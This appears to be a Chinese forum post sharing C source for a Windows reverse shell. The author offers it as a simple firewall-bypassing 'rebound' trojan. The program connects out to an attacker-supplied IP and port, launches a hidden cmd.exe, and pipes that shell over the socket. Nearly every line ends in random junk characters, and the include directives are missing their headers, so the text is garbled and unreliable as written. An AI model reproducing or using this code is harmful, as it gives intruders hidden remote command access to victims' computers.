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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NJl|/(]v  
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/* ============================== -QS_bQG%  
Rebound port in Windows NT {8I93]  
By wind,2006/7 Uk*s`Y  
===============================*/ ol`]6"Sc  
#include ^Gs!"Y  
#include a+]=3o  
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#pragma comment(lib,"wsock32.lib") k, v.U8  
p3x(:=   
void OutputShell(); Pi*,&D>{7  
SOCKET sClient; b:%>T PT  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iv;;GW{2  
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void main(int argc,char **argv) OZt'ovY  
{ t]vX9vv+D  
WSADATA stWsaData; I/^Lr_\  
int nRet; ?'_iqg3  
SOCKADDR_IN stSaiClient,stSaiServer; N pRC3^  
,9+@\  
if(argc != 3) 'w9tZO\2  
{ ',1rW  
printf("Useage:\n\rRebound DestIP DestPort\n"); &x=<>~Ag3  
return; ,hOJe=u46  
} 7?hC t  
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WSAStartup(MAKEWORD(2,2),&stWsaData); $<33E e:a  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6K<vyr40  
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stSaiClient.sin_family = AF_INET; #),QWTl3  
stSaiClient.sin_port = htons(0); qvk?5#B  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {I2jLc  
vkR"A\:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \*_a#4a  
{ t5e(9Yhj  
printf("Bind Socket Failed!\n"); *2@ q=R-1  
return; C8G['aQ  
} =~HX/]zF  
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stSaiServer.sin_family = AF_INET; X)uT-Fy  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J-,T^Wv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bq ~'jg^#  
l_}c[bAUu  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c8}1-MKs_R  
{ DTr0u}m  
printf("Connect Error!"); i,bFe&7J  
return; 9CL&tpqv f  
} ?NHh=H\7u  
OutputShell(); '-v~HwC+/T  
} #4" \\  
fk",YtS*  
void OutputShell() m X2Qf8  
{ ;2X1qw>  
char szBuff[1024]; C(gH}N4  
SECURITY_ATTRIBUTES stSecurityAttributes; &2) mpY8xQ  
OSVERSIONINFO stOsversionInfo; .eeM&n;c  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (cCB3n\20  
STARTUPINFO stStartupInfo; j4NS5  
char *szShell; PqP)<d '/  
PROCESS_INFORMATION stProcessInformation; iezz[;t  
unsigned long lBytesRead; 7qh_URt@  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y8CXin h  
2oq>tnYyV[  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (,<?Pg7v:f  
stSecurityAttributes.lpSecurityDescriptor = 0; %OzxR9  
stSecurityAttributes.bInheritHandle = TRUE; o\2#}eie  
Ajq<=y`NzV  
)I5f`r=Ry  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6w@l#p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9h9Y:i*Gh5  
#~ >0Dr  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y*7.3 +#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k'u2a  
stStartupInfo.wShowWindow = SW_HIDE; ;>Kxl}+R  
stStartupInfo.hStdInput = hReadPipe; [(dAv7YbN  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .UJDn^@  
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GetVersionEx(&stOsversionInfo); m$$U%=r>@  
naAZR*(A  
switch(stOsversionInfo.dwPlatformId) 2j_L jY'7  
{ A).wjd(_,  
case 1: (F#Qunze  
szShell = "command.com"; ]p$fEW g  
break; p_mP'  
default: `|]juc  
szShell = "cmd.exe"; e+&/ Tq'2  
break; 6t@3 a?  
} &{7%Vs TB  
=MoPOib\n  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Y%Saz+  
xOEj+%M  
send(sClient,szMsg,77,0); ThFI=K  
while(1) s3t{freM  
{ q`qbaX\J3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =NlAGzv!w  
if(lBytesRead) RJSNniYr7  
{ n!f @JHL  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .Z9Bbab:  
send(sClient,szBuff,lBytesRead,0); GV%ibqOpQj  
} <.:B .k  
else ^#_@Kq%th  
{ @mw1(J  
lBytesRead=recv(sClient,szBuff,1024,0); 1tfm\/V}ho  
if(lBytesRead<=0) break; R|5w:+=z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J/)Q{*`_  
} %"{SGp  
} 1vQ*Br  
ZfIQ Fh>  
return; C/lp Se  
}
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